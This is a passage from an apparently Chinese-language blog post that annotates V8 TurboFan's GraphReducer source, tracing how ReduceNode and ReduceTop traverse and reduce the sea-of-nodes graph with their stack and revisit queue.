nodes的最后一个opcode为end的结点。跟入ReduceNode，走读参考添加的注释</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\compiler\graph-reducer.cc: 48</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">void</span> GraphReducer::ReduceNode(Node* node) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 维护stack_栈，保存从end_开始遍历到的node</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>  DCHECK(stack_.empty());  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 维护revisit_队列，顾名思义及for中else if的代码，是有必要重新ReduceTop()处理的node</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  DCHECK(revisit_.empty());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 将end_结点push到stack_  </span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>  Push(node);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (;;) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!stack_.empty()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Process the node on the top of the stack, potentially pushing more or</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// popping the node off the stack.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">/* ReduceTop中，通过对stack_栈顶的node的inputs成员进行深度优先搜索，将遍历到的node都push到<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>       * stack_<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>      */</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>      ReduceTop();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>    } <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">else</span> <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!revisit_.empty()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// If the stack becomes empty, revisit any nodes in the revisit queue.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>      Node* <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> node = revisit_.front();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>      revisit_.pop();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (state_.Get(node) == State::kRevisit) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// state can change while in queue.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>        Push(node);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>      }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>    } <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Run all finalizers.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// stack_和revisit_全部结点处理完，进行清理工作</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (Reducer* <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> reducer : reducers_) reducer-&gt;Finalize();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Check if we have new nodes to revisit.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (revisit_.empty()) <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">break</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span>  DCHECK(revisit_.empty());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span>  DCHECK(stack_.empty());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">继续跟入<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">GraphReducer::ReduceTop()</code>（分析见注释），行37有个<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">max_id</code>，可以在sea of nodes中搜索到node</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\compiler\graph-reducer.cc: 120</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">void</span> GraphReducer::ReduceTop() {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 取stack_.top</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>  NodeState&amp; entry = stack_.top();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  Node* node = entry.node;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  DCHECK_EQ(State::kOnStack, state_.Get(node));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (node-&gt;IsDead()) <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> Pop();  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Node was killed while on stack.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 取node的inputs集合</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>  Node::Inputs node_inputs = node-&gt;inputs();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Recurse on an input if necessary.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 因为是递归，这里的entry.input_index记录了每个当前node访问到的inputs集合的下标</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> start = entry.input_index &lt; node_inputs.count() ? entry.input_index : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> i = start; i &lt; node_inputs.count(); ++i) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>    Node* input = node_inputs[i];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Recurse(input)将input push 到 stack_</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (input != node &amp;&amp; Recurse(input)) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 当前的node的input_index + 1</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>      entry.input_index = i + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 返回，继续遍历stack_.top</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 重新检测一遍是否有未访问的结点</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> i = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>; i &lt; start; ++i) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span>    Node* input = node_inputs[i];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (input != node &amp;&amp; Recurse(input)) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span>      entry.input_index = i + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Remember the max node id before reduction.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">37</span>  NodeId <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> max_id = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">static_cast</span>&lt;NodeId&gt;(graph()-&gt;NodeCount() - <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">38</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">39</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// All inputs should be visited or on stack. Apply reductions to node.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">40</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 所有的node都将被遍历或在栈上。</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">41</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Reduce(node)，循环使用Phase入口处Add的所有reducer对当前node处理</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">42</span>  Reduction reduction = Reduce(node);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">43</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">44</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// If there was no reduction, pop {node} and continue.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">45</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!reduction.Changed()) <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> Pop();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">46</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">47</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Check if the reduction is an in-place update of the {node}.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">48</span>  Node* <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> replacement = reduction.replacement();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">49</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (replacement == node) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">50</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// In-place update of {node}, may need to recurse on an input.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">51</span>    Node::Inputs node_inputs = node-&gt;inputs();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">52</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> i = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>; i &lt; node_inputs.count(); ++i) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">53</span>      Node* input = node_inputs[i];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">54</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (input != node &amp;&amp; Recurse(input)) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">55</span>        entry.input_index = i + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">56</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">57</span>      }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">58</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">59</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">60</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">61</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// After reducing the node, pop it off the stack.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">62</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 处理完的node需要pop出去</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">63</span>  Pop();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">64</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">65</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Check if we have a new replacement.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">66</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (replacement != node) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">67</span>    Replace(node, replacement, max_id);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">68</span>  } <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">69</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Revisit all uses of the node.</span><br/><span style="font-size: inherit;line-height: 